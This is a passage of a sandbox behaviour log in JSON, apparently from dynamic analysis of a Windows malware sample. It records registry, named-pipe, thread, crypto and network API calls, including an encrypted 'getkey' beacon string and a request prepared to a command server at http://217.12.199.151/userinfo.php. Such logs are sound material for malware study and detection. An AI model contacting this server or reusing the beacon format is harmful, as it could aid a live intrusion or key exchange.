:[],"last_error":203,"nt_status":-
1073741772,"api":"NtQueryValueKey","return_value":3221225524,"arguments":{"key_handle":"
0x00000110","key_name":"","value":"","reg_type":0,"information_class":2,"regkey":"HKEY_LOC
AL_MACHINE\\SOFTWARE\\Microsoft\\SQMClient\\Windows\\CEIPEnable"},"time":170032204
1.25,"tid":2280,"flags":{"reg_type":"REG_NONE","information_class":"KeyValuePartialInformatio
n"}},{"category":"system","status":1,"stacktrace":[],"api":"NtClose","return_value":0,"arguments":{
"handle":"0x00000110"},"time":1700322041.25,"tid":2280,"flags":{}},{"category":"system","status
":1,"stacktrace":[],"api":"NtDuplicateObject","return_value":0,"arguments":{"handle_attributes":0,"
source_process_identifier":2276,"source_handle":"0xfffffffe","target_process_identifier":2276,"d
esired_access":"0x00000000","target_process_handle":"0xffffffff","target_handle":"0x0000011c",
"source_process_handle":"0xffffffff","options":2},"time":1700322041.25,"tid":2280,"flags":{}},{"cat
egory":"file","status":1,"stacktrace":[],"api":"NtCreateFile","return_value":0,"arguments":{"create_
disposition":1,"file_handle":"0x00000128","filepath":"\\\\?\\PIPE\\lsarpc","desired_access":"0xc01
00080","file_attributes":0,"filepath_r":"\\??\\PIPE\\lsarpc","create_options":64,"status_info":1,"sh
are_access":3},"time":1700322041.25,"tid":2280,"flags":{"create_disposition":"FILE_OPEN","des
ired_access":"FILE_READ_ATTRIBUTES|SYNCHRONIZE|GENERIC_WRITE","create_options
":"FILE_NON_DIRECTORY_FILE","file_attributes":"","status_info":"FILE_OPENED","share_acc
ess":"FILE_SHARE_READ|FILE_SHARE_WRITE"}},{"category":"file","status":1,"stacktrace":[],"
api":"NtSetInformationFile","return_value":0,"arguments":{"file_handle":"0x00000128","informati
on_class":23},"time":1700322041.25,"tid":2280,"flags":{"information_class":"FilePipeInformation"
}},{"category":"file","status":1,"stacktrace":[],"api":"NtSetInformationFile","return_value":0,"argum
ents":{"file_handle":"0x00000128","information_class":41},"time":1700322041.25,"tid":2280,"flag
s":{"information_class":"FileIoCompletionNotificationInformation"}},{"category":"system","status":
1,"stacktrace":[],"api":"NtDuplicateObject","return_value":0,"arguments":{"handle_attributes":0,"s
ource_process_identifier":2276,"source_handle":"0x00000130","target_process_identifier":2276,
"desired_access":"0x00000000","target_process_handle":"0xffffffff","target_handle":"0x0000013
4","source_process_handle":"0xffffffff","options":6},"time":1700322041.25,"tid":2280,"flags":{}},{"
category":"file","status":1,"stacktrace":[],"api":"NtSetInformationFile","return_value":0,"arguments
":{"file_handle":"0x00000128","information_class":30},"time":1700322041.25,"tid":2280,"flags":{"i
nformation_class":"FileCompletionInformation"}},{"category":"registry","status":0,"stacktrace":[],"l
ast_error":0,"nt_status":-
1073741772,"api":"RegOpenKeyExW","return_value":2,"arguments":{"access":"0x00020019","b
ase_handle":"0x80000002","key_handle":"0x00000000","regkey":"HKEY_LOCAL_MACHINE\\S
oftware\\Policies\\Microsoft\\Windows
NT\\Rpc","regkey_r":"Software\\Policies\\Microsoft\\Windows
NT\\Rpc","options":0},"time":1700322041.25,"tid":2280,"flags":{}},{"category":"file","status":1,"sta
cktrace":[],"api":"NtWriteFile","return_value":0,"arguments":{"file_handle":"0x00000128","filepath
":"\\Device\\NamedPipe\\lsass","buffer":"\u0005\u0000\u000b\u0003\u0010\u0000\u0000\u0000t
\u0000\u0000\u0000\u0002\u0000\u0000\u0000∏\u0010∏\u0010\u0000\u0000\u0000\u0000\u
0002\u0000\u0000\u0000\u0000\u0000\u0001\u0000j(\u00199\f±–\u0011õ®\u0000¿OŸ.ı\u000
0\u0000\u0000\u0000\u0004]àäÎ\u001c…\u0011üË\b\u0000+\u0010H`\u0002\u0000\u0000\u00
00\u0001\u0000\u0001\u0000j(\u00199\f±–\u0011õ®\u0000¿OŸ.ı\u0000\u0000\u0000\u0000,\
u001c∑I\u0012ò@E\u0003\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0001\u0000\u000
0\u0000","offset":0},"time":1700322041.25,"tid":2280,"flags":{}},{"category":"file","status":1,"stack
```

```
trace":[],"api":"NtReadFile","return_value":0,"arguments":{"file_handle":"0x00000128","buffer":"\u
0005\u0000\f\u0003\u0010\u0000\u0000\u0000\\\u0000\u0000\u0000\u0002\u0000\u0000\u00
00∏\u0010∏\u0010É7\u0001\u0000\f\u0000\\pipe\\lsass\u0000\u0000\u0000\u0002\u0000\u00
00\u0000\u0000\u0000\u0000\u0000\u0004]àäÎ\u001c…\u0011üË\b\u0000+\u0010H`\u0002\u0
000\u0000\u0000\u0003\u0000\u0003\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u
0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000","lengt
h":1024,"offset":0},"time":1700322041.25,"tid":2280,"flags":{}},{"category":"process","status":1,"s
tacktrace":[],"api":"NtCreateThreadEx","return_value":0,"arguments":{"thread_name":"0x001dee
6c","stack_zero_bits":0,"thread_handle":"0x00000144","process_identifier":2276,"parameter":"0
x0065ca20","access":"0x001fffff","function_address":"0x77482e65","suspended":3,"process_ha
ndle":"0xffffffff"},"time":1700322041.25,"tid":2280,"flags":{}},{"category":"system","status":1,"stac
ktrace":[],"api":"NtDuplicateObject","return_value":0,"arguments":{"handle_attributes":0,"source_
process_identifier":2276,"source_handle":"0x00000144","target_process_identifier":2276,"desir
ed_access":"0x00000000","target_process_handle":"0xffffffff","target_handle":"0x00000148","so
urce_process_handle":"0xffffffff","options":6},"time":1700322041.25,"tid":2280,"flags":{}},{"categ
ory":"process","status":1,"stacktrace":[],"api":"NtResumeThread","return_value":0,"arguments":{"
thread_handle":"0x00000144","suspend_count":1,"process_identifier":2276},"time":1700322041.
25,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"NtDuplicateObject","
return_value":0,"arguments":{"handle_attributes":0,"source_process_identifier":2276,"source_ha
ndle":"0x00000150","target_process_identifier":2276,"desired_access":"0x00000000","target_pr
ocess_handle":"0xffffffff","target_handle":"0x00000154","source_process_handle":"0xffffffff","opti
ons":6},"time":1700322041.25,"tid":2280,"flags":{}},{"category":"misc","status":0,"stacktrace":[],"l
ast_error":997,"nt_status":259,"api":"GetSystemMetrics","return_value":0,"arguments":{"index":8
9},"time":1700322041.266,"tid":2280,"flags":{"index":"SM_SERVERR2"}},{"category":"system","s
tatus":1,"stacktrace":[],"api":"LdrGetDllHandle","return_value":0,"arguments":{"module_name":"k
ernel32.dll","stack_pivoted":0,"module_address":"0x75ab0000"},"time":1700322041.266,"tid":22
80,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","ret
urn_value":0,"arguments":{"ordinal":0,"module":"kernel32","module_address":"0x75ab0000","fun
ction_address":"0x75ac195e","function_name":"IsWow64Process"},"time":1700322041.266,"tid"
:2280,"flags":{}},{"category":"crypto","status":1,"stacktrace":[],"api":"CryptCreateHash","return_va
lue":1,"arguments":{"crypto_handle":"0x0065c760","hash_handle":"0x0065c7a0","algorithm_ide
ntifier":"0x00008009","provider_handle":"0x00658258","flags":0},"time":1700322041.266,"tid":22
80,"flags":{"algorithm_identifier":"CALG_HMAC"}},{"category":"system","status":1,"stacktrace":[],
"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"CRYPTSP
","module_address":"0x73930000","function_address":"0x73935e00","function_name":"CryptSet
HashParam"},"time":1700322041.266,"tid":2280,"flags":{}},{"category":"crypto","status":1,"stacktr
ace":[],"api":"CryptCreateHash","return_value":1,"arguments":{"crypto_handle":"0x0065db88","h
ash_handle":"0x0065dcf8","algorithm_identifier":"0x00008009","provider_handle":"0x00658258"
,"flags":0},"time":1700322041.266,"tid":2280,"flags":{"algorithm_identifier":"CALG_HMAC"}},{"ca
tegory":"crypto","status":1,"stacktrace":[],"api":"CryptHashData","return_value":1,"arguments":{"b
uffer":"id=7C9A2DD737210169&act=getkey&affid=1&lang=en&corp=0&serv=0&os=Windows+7
&sp=1&x64=1\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u000
0\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u00
00\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0
000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u
0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\
u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u000
0\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u00
00\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0
000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u
```

0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\
u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u000
0\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u00
00\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0
000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u
0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\
u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u000
0\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000","flags":0,"hash_handle":"0x006
5c7a0"},"time":1700322041.266,"tid":2280,"flags":{}},{"category":"system","status":1,"stacktrace"
:[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"CRYPT
SP","module_address":"0x73930000","function_address":"0x73935368","function_name":"Crypt
Encrypt"},"time":1700322041.266,"tid":2280,"flags":{}},{"category":"crypto","status":1,"stacktrace
":[],"api":"CryptEncrypt","return_value":1,"arguments":{"hash_handle":"0x00000000","buffer":"∑),
≈î+ßoÔGÕÌmiÂ\u0016¨∑Å[‡ÎP3Ö=<»¨\b72‰,Ò{∫çb“›ö0\bQ`4Î≈˛…04\u0000\u0000\u0000ıq\u00
00\u0001\u0000\u0000\u0000\u0000Ø\u0001\u0000\u0000ª8\u0001\u0001¤ð\u001d\u0000\u0
000\u0000\u0000\u0000üñ\u001d\u0000õqJw§¯\u0014\u0000þÿÿÿª8Fw¢4Fw\u0000\u0000\u00
00\u0000x\u00151\u0002àÙ\u001d\u0000\u0000\u0000\u0000\u0000x\u00151\u0002p\u00151
\u0002","key_handle":"0x006581e0","flags":0,"final":0},"time":1700322041.266,"tid":2280,"flags":
{}},{"category":"network","status":1,"stacktrace":[],"api":"InternetCrackUrlA","return_value":1,"arg
uments":{"url":"http://217.12.199.151/userinfo.php","flags":0},"time":1700322041.281,"tid":2280,"
flags":{}},{"category":"network","status":1,"stacktrace":[],"api":"ObtainUserAgentString","return_v
alue":0,"arguments":{"option":0,"user_agent":"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT
6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR
3.0.30729; Media Center PC
6.0)\u0000"},"time":1700322041.297,"tid":2280,"flags":{}},{"category":"network","status":1,"stackt
race":[],"api":"InternetOpenA","return_value":13369348,"arguments":{"proxy_bypass":"","access
_type":1,"proxy_name":"","flags":0,"user_agent":"Mozilla/4.0 (compatible; MSIE 7.0; Windows
NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR
3.0.30729; Media Center PC
6.0)"},"time":1700322041.391,"tid":2280,"flags":{}},{"category":"network","status":1,"stacktrace":[]
,"api":"InternetSetOptionA","return_value":1,"arguments":{"option":6,"internet_handle":"0x00cc0
004"},"time":1700322041.391,"tid":2280,"flags":{"option":"INTERNET_OPTION_CONTROL_RE
CEIVE_TIMEOUT"}},{"category":"network","status":1,"stacktrace":[],"api":"InternetSetOptionA","r
eturn_value":1,"arguments":{"option":5,"internet_handle":"0x00cc0004"},"time":1700322041.391
,"tid":2280,"flags":{"option":"INTERNET_OPTION_CONTROL_SEND_TIMEOUT"}},{"category":"
network","status":1,"stacktrace":[],"api":"InternetSetOptionA","return_value":1,"arguments":{"opti
on":3,"internet_handle":"0x00cc0004"},"time":1700322041.391,"tid":2280,"flags":{"option":"INTE
RNET_OPTION_CONNECT_RETRIES"}},{"category":"network","status":1,"stacktrace":[],"api":"
WSAStartup","return_value":0,"arguments":{"wVersionRequested":514},"time":1700322041.391,
"tid":2516,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddre
ss","return_value":0,"arguments":{"ordinal":23,"module":"WS2_32","module_address":"0x75a60
000","function_address":"0x75a63eb8","function_name":""},"time":1700322041.391,"tid":2516,"fl
ags":{}},{"category":"network","status":0,"stacktrace":[],"last_error":12016,"nt_status":-
1073741772,"api":"InternetSetOptionA","return_value":0,"arguments":{"option":73,"internet_han
dle":"0x00cc0004"},"time":1700322041.391,"tid":2280,"flags":{"option":"INTERNET_OPTION_M
AX_CONNS_PER_SERVER"}},{"category":"network","status":0,"stacktrace":[],"last_error":1201
6,"nt_status":-
1073741772,"api":"InternetSetOptionA","return_value":0,"arguments":{"option":74,"internet_han
dle":"0x00cc0004"},"time":1700322041.406,"tid":2280,"flags":{"option":"INTERNET_OPTION_M
AX_CONNS_PER_1_0_SERVER"}},{"category":"network","status":1,"stacktrace":[],"api":"socket

```
","return_value":488,"arguments":{"protocol":6,"socket":488,"af":23,"type":1},"time":1700322041.
422,"tid":2516,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureA
ddress","return_value":0,"arguments":{"ordinal":21,"module":"WS2_32","module_address":"0x75
a60000","function_address":"0x75a641b6","function_name":""},"time":1700322041.422,"tid":251
6,"flags":{}},{"category":"network","status":1,"stacktrace":[],"api":"setsockopt","return_value":0,"ar
guments":{"socket":488,"level":41,"buffer":"\u0000\u0000\u0000\u0000","optname":27},"time":17
00322041.422,"tid":2516,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetPr
ocedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"WS2_32","module_addres
s":"0x75a60000","function_address":"0x75a62fe7","function_name":"WSAIoctl"},"time":1700322
041.422,"tid":2516,"flags":{}},{"category":"file","status":1,"stacktrace":[],"api":"NtDeviceIoControlF
ile","return_value":0,"arguments":{"input_buffer":"\u0017\u0000","file_handle":"0x000001e8","out
put_buffer":"\u0002\u0000\u0000\u0000\u001a\u0000\u0017\u0000\u0000\u0000\u0000\u0000\
u0000\u0000¸Ä\u0000\u0000\u0000\u0000\u0000\u0000UeE4ü‘pû\u000b\u0000\u0000\u0000\
u001a\u0000\u0017\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u000
0\u0000\u0000\u0000\u0000\u0000\u0000˘˘¿®8e\u0000\u0000\u0000\u0000","control_code":7
3907},"time":1700322041.422,"tid":2516,"flags":{"control_code":""}},{"category":"file","status":1,"
stacktrace":[],"api":"NtDeviceIoControlFile","return_value":259,"arguments":{"input_buffer":"\u00
03\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0019\u0000\u0000»\u0001\u0000\u0000\u
0000\u0018‹f\u0000L\u0000\u0000\u0000","file_handle":"0x000001e8","output_buffer":"\u0002\
u0000\u0000\u0000,‹f\u0000\u001c\u0000\u0000\u0000H‹f\u0000\u001c\u0000\u0000\u0000",
"control_code":73919},"time":1700322041.422,"tid":2516,"flags":{"control_code":""}},{"category":
"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments"
:{"ordinal":3,"module":"WS2_32","module_address":"0x75a60000","function_address":"0x75a63
918","function_name":""},"time":1700322041.422,"tid":2516,"flags":{}},{"category":"network","stat
us":1,"stacktrace":[],"api":"closesocket","return_value":0,"arguments":{"socket":488},"time":1700
322041.422,"tid":2516,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProc
edureAddress","return_value":0,"arguments":{"ordinal":116,"module":"WS2_32","module_addre
ss":"0x75a60000","function_address":"0x75a63c5f","function_name":""},"time":1700322041.422,
"tid":2516,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrLoadDll","return_val
ue":0,"arguments":{"basename":"IPHLPAPI","module_address":"0x745a0000","flags":0,"module
_name":"IPHLPAPI.DLL","stack_pivoted":0},"time":1700322041.422,"tid":2516,"flags":{}},{"categ
ory":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"argum
ents":{"ordinal":0,"module":"IPHLPAPI","module_address":"0x745a0000","function_address":"0x
745a9ff2","function_name":"NotifyIpInterfaceChange"},"time":1700322041.422,"tid":2516,"flags":
{}},{"category":"system","status":1,"stacktrace":[],"api":"NtDuplicateObject","return_value":0,"arg
uments":{"handle_attributes":0,"source_process_identifier":2276,"source_handle":"0xfffffffe","tar
get_process_identifier":2276,"desired_access":"0x00000000","target_process_handle":"0xffffffff"
,"target_handle":"0x000001f4","source_process_handle":"0xffffffff","options":2},"time":17003220
41.422,"tid":2516,"flags":{}},{"category":"process","status":1,"stacktrace":[],"api":"NtAllocateVirtu
alMemory","return_value":0,"arguments":{"process_identifier":2276,"region_size":8192,"stack_d
ep_bypass":0,"stack_pivoted":0,"heap_dep_bypass":0,"protection":4,"process_handle":"0xffffffff"
,"allocation_type":4096,"base_address":"0x0066f000"},"time":1700322041.422,"tid":2516,"flags"
:{"protection":"PAGE_READWRITE","allocation_type":"MEM_COMMIT"}},{"category":"ole","stat
us":1,"stacktrace":[],"api":"CoInitializeEx","return_value":0,"arguments":{"options":0},"time":1700
322041.422,"tid":2520,"flags":{}},{"category":"process","status":1,"stacktrace":[],"api":"NtAllocate
VirtualMemory","return_value":0,"arguments":{"process_identifier":2276,"region_size":8192,"sta
ck_dep_bypass":0,"stack_pivoted":0,"heap_dep_bypass":0,"protection":4,"process_handle":"0xf
fffffff","allocation_type":4096,"base_address":"0x00671000"},"time":1700322041.422,"tid":2516,"
flags":{"protection":"PAGE_READWRITE","allocation_type":"MEM_COMMIT"}},{"category":"syst
em","status":1,"stacktrace":[],"api":"NtDuplicateObject","return_value":0,"arguments":{"handle_at
```

tributes":0,"source_process_identifier":2276,"source_handle":"0xfffffffe","target_process_identifi
er":2276,"desired_access":"0x00000000","target_process_handle":"0xffffffff","target_handle":"0x
0000020c","source_process_handle":"0xffffffff","options":2},"time":1700322041.422,"tid":2508,"fl
ags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_v
alue":0,"arguments":{"ordinal":0,"module":"api-ms-win-downlevel-ole32-l1-1-
0","module_address":"0x75aa0000","function_address":"0x75079d0b","function_name":"CoCrea
teInstance"},"time":1700322041.422,"tid":2520,"flags":{}},{"category":"process","status":1,"stackt
race":[],"api":"NtAllocateVirtualMemory","return_value":0,"arguments":{"process_identifier":2276,
"region_size":4096,"stack_dep_bypass":0,"stack_pivoted":0,"heap_dep_bypass":0,"protection":
4,"process_handle":"0xffffffff","allocation_type":4096,"base_address":"0x00673000"},"time":1700
322041.422,"tid":2508,"flags":{"protection":"PAGE_READWRITE","allocation_type":"MEM_COM
MIT"}},{"category":"process","status":1,"stacktrace":[],"api":"NtAllocateVirtualMemory","return_va
lue":0,"arguments":{"process_identifier":2276,"region_size":8192,"stack_dep_bypass":0,"stack_
pivoted":0,"heap_dep_bypass":0,"protection":4,"process_handle":"0xffffffff","allocation_type":40
96,"base_address":"0x00674000"},"time":1700322041.422,"tid":2508,"flags":{"protection":"PAG
E_READWRITE","allocation_type":"MEM_COMMIT"}},{"category":"system","status":1,"stacktrac
e":[],"api":"NtDuplicateObject","return_value":0,"arguments":{"handle_attributes":0,"source_proc
ess_identifier":2276,"source_handle":"0xfffffffe","target_process_identifier":2276,"desired_acces
s":"0x00000000","target_process_handle":"0xffffffff","target_handle":"0x00000220","source_proc
ess_handle":"0xffffffff","options":2},"time":1700322041.437,"tid":2524,"flags":{}},{"category":"proc
ess","status":1,"stacktrace":[],"api":"NtAllocateVirtualMemory","return_value":0,"arguments":{"pr
ocess_identifier":2276,"region_size":4096,"stack_dep_bypass":0,"stack_pivoted":0,"heap_dep_
bypass":0,"protection":4,"process_handle":"0xffffffff","allocation_type":4096,"base_address":"0x
00676000"},"time":1700322041.437,"tid":2516,"flags":{"protection":"PAGE_READWRITE","alloc
ation_type":"MEM_COMMIT"}},{"category":"system","status":1,"stacktrace":[],"api":"NtClose","ret
urn_value":0,"arguments":{"handle":"0x000001f8"},"time":1700322041.437,"tid":2516,"flags":{}},{
"category":"process","status":1,"stacktrace":[],"api":"NtAllocateVirtualMemory","return_value":0,"
arguments":{"process_identifier":2276,"region_size":8192,"stack_dep_bypass":0,"stack_pivoted
":0,"heap_dep_bypass":0,"protection":4,"process_handle":"0xffffffff","allocation_type":4096,"bas
e_address":"0x00677000"},"time":1700322041.437,"tid":2516,"flags":{"protection":"PAGE_REA
DWRITE","allocation_type":"MEM_COMMIT"}},{"category":"system","status":1,"stacktrace":[],"ap
i":"NtClose","return_value":0,"arguments":{"handle":"0x000001f8"},"time":1700322041.437,"tid":
2516,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","r
eturn_value":0,"arguments":{"ordinal":0,"module":"IPHLPAPI","module_address":"0x745a0000",
"function_address":"0x745a7fbf","function_name":"NotifyUnicastIpAddressChange"},"time":1700
322041.437,"tid":2516,"flags":{}},{"category":"process","status":1,"stacktrace":[],"api":"NtAllocate
VirtualMemory","return_value":0,"arguments":{"process_identifier":2276,"region_size":8192,"sta
ck_dep_bypass":0,"stack_pivoted":0,"heap_dep_bypass":0,"protection":4,"process_handle":"0xf
fffffff","allocation_type":4096,"base_address":"0x0067a000"},"time":1700322041.437,"tid":2516,"
flags":{"protection":"PAGE_READWRITE","allocation_type":"MEM_COMMIT"}},{"category":"proc
ess","status":1,"stacktrace":[],"api":"NtAllocateVirtualMemory","return_value":0,"arguments":{"pr
ocess_identifier":2276,"region_size":4096,"stack_dep_bypass":0,"stack_pivoted":0,"heap_dep_
bypass":0,"protection":4,"process_handle":"0xffffffff","allocation_type":4096,"base_address":"0x
0067c000"},"time":1700322041.437,"tid":2516,"flags":{"protection":"PAGE_READWRITE","alloc
ation_type":"MEM_COMMIT"}},{"category":"system","status":1,"stacktrace":[],"api":"NtClose","ret
urn_value":0,"arguments":{"handle":"0x000001f8"},"time":1700322041.437,"tid":2516,"flags":{}},{
"category":"process","status":1,"stacktrace":[],"api":"NtAllocateVirtualMemory","return_value":0,"
arguments":{"process_identifier":2276,"region_size":8192,"stack_dep_bypass":0,"stack_pivoted
":0,"heap_dep_bypass":0,"protection":4,"process_handle":"0xffffffff","allocation_type":4096,"bas
e_address":"0x0067d000"},"time":1700322041.437,"tid":2516,"flags":{"protection":"PAGE_REA

```
DWRITE","allocation_type":"MEM_COMMIT"}},{"category":"system","status":1,"stacktrace":[],"ap
i":"NtClose","return_value":0,"arguments":{"handle":"0x000001f8"},"time":1700322041.437,"tid":
2516,"flags":{}},{"category":"system","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","r
eturn_value":0,"arguments":{"ordinal":0,"module":"IPHLPAPI","module_address":"0x745a0000",
"function_address":"0x745a3f41","function_name":"GetBestInterfaceEx"},"time":1700322041.43
7,"tid":2516,"flags":{}},{"category":"network","status":0,"stacktrace":[],"last_error":0,"nt_status":-
1073741275,"api":"GetBestInterfaceEx","return_value":1168,"arguments":{},"time":1700322041.
437,"tid":2516,"flags":{}},{"category":"network","status":1,"stacktrace":[],"api":"GetBestInterfaceE
x","return_value":0,"arguments":{},"time":1700322041.437,"tid":2516,"flags":{}},{"category":"syst
em","status":1,"stacktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"or
dinal":0,"module":"IPHLPAPI","module_address":"0x745a0000","function_address":"0x745a49a
b","function_name":"GetIfEntry2"},"time":1700322041.437,"tid":2516,"flags":{}},{"category":"file","
status":1,"stacktrace":[],"api":"NtDeviceIoControlFile","return_value":0,"arguments":{"input_buffe
r":"\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000|4Zt\u0002\u0000\u0000\u0000\u000
1\u0000\u0000\u0000\u0000\u0000\u0000\u0000tÁ\u001a\u0002\u0004\u0000\u0000\u0000\u
0002\u0000\u0000\u0000@Ô\u001a\u0002\b\u0000\u0000\u0000\u0000\u0000\u0000\u0000",
"file_handle":"0x000001f8","output_buffer":"\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0
000|4Zt\u0002\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0000\u0000\u0000\u0000tÁ\u0
01a\u0002\u0004\u0000\u0000\u0000\u0002\u0000\u0000\u0000@Ô\u001a\u0002\b\u0000\u0
000\u0000\u0000\u0000\u0000\u0000lÁ\u001a\u0002«8Zt\u0001\u0000\u0000\u0000|4Zt\u000
2\u0000\u0000\u0000tÁ\u001a\u0002\u0004\u0000\u0000\u0000\u0002\u0000\u0000\u0000","
control_code":1179655},"time":1700322041.453,"tid":2516,"flags":{"control_code":""}},{"category
":"system","status":1,"stacktrace":[],"api":"NtClose","return_value":0,"arguments":{"handle":"0x00
000264"},"time":1700322041.453,"tid":2516,"flags":{}},{"category":"file","status":1,"stacktrace":[],
"api":"NtDeviceIoControlFile","return_value":0,"arguments":{"input_buffer":"\u0000\u0000\u0000
\u0000\u0000\u0000\u0000\u0000|4Zt\b\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0000
\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000pÁ\u001a\u0002\u0
004\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u
0000\u0000\u0000\u0000\u0000\u0000","file_handle":"0x000001f8","output_buffer":"\u0000\u00
00\u0000\u0000\u0000\u0000\u0000\u0000|4Zt\b\u0000\u0000\u0000\u0001\u0000\u0000\u00
00\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000pÁ\u001a\
u0002\u0004\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u000
0\u0000\u0000\u0000\u0000\u0000\u0000\u0000tÁ\u001a\u0002„4Zt\u0001\u0000\u0000\u000
0|4Zt\b\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000pÁ\u001a\u0
002\u0004\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u
0000\u0000\u0000","control_code":1179663},"time":1700322041.453,"tid":2516,"flags":{"control
_code":""}},{"category":"system","status":1,"stacktrace":[],"api":"NtClose","return_value":0,"argu
ments":{"handle":"0x00000264"},"time":1700322041.453,"tid":2516,"flags":{}},{"category":"file","s
tatus":1,"stacktrace":[],"api":"NtDeviceIoControlFile","return_value":0,"arguments":{"input_buffer"
:"\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000|4Zt\u0000\u0000\u0000\u0000\u0001\
u0000\u0000\u0000\u0000\u0000\u0000\u0000hË\u001a\u0002\b\u0000\u0000\u0000pË\u001
a\u0002@\u0004\u0000\u0000ÑÁ\u001a\u0002ÿ\u0000\u0000\u0000∞Ï\u001a\u0002X\u0002\
u0000\u0000","file_handle":"0x000001f8","output_buffer":"\u0000\u0000\u0000\u0000\u0000\u0
000\u0000\u0000|4Zt\u0000\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0000\u0000\u00
00\u0000hË\u001a\u0002\b\u0000\u0000\u0000pË\u001a\u0002@\u0004\u0000\u0000ÑÁ\u00
1a\u0002ÿ\u0000\u0000\u0000∞Ï\u001a\u0002X\u0002\u0000\u0000\fÔ\u001a\u0002CJZt\u00
01\u0000\u0000\u0000|4Zt\u0000\u0000\u0000\u0000hË\u001a\u0002\b\u0000\u0000\u0000p
Ë\u001a\u0002@\u0004\u0000\u0000ÑÁ\u001a\u0002ÿ\u0000\u0000\u0000∞Ï\u001a\u0002","
control_code":1179663},"time":1700322041.453,"tid":2516,"flags":{"control_code":""}},{"category
":"system","status":1,"stacktrace":[],"api":"NtClose","return_value":0,"arguments":{"handle":"0x00
```

000264"},"time":1700322041.453,"tid":2516,"flags":{}},{"category":"process","status":1,"stacktrac
e":[],"api":"NtAllocateVirtualMemory","return_value":0,"arguments":{"process_identifier":2276,"re
gion_size":16384,"stack_dep_bypass":0,"stack_pivoted":0,"heap_dep_bypass":0,"protection":4,"
process_handle":"0xffffffff","allocation_type":4096,"base_address":"0x00688000"},"time":170032
2041.453,"tid":2528,"flags":{"protection":"PAGE_READWRITE","allocation_type":"MEM_COMMI
T"}},{"category":"ole","status":1,"stacktrace":[],"api":"CoCreateInstance","return_value":0,"argum
ents":{"class_context":524292,"clsid":"{c39ee728-d419-4bd4-a3ef-
eda059dbd935}","iid":"{b06b0ce5-689b-4afd-b326-
0a08a1a647af}"},"time":1700322041.5,"tid":2520,"flags":{}},{"category":"system","status":1,"stac
ktrace":[],"api":"LdrGetProcedureAddress","return_value":0,"arguments":{"ordinal":0,"module":"a
pi-ms-win-downlevel-ole32-l1-1-
0","module_address":"0x75aa0000","function_address":"0x75045ea5","function_name":"CoSetP
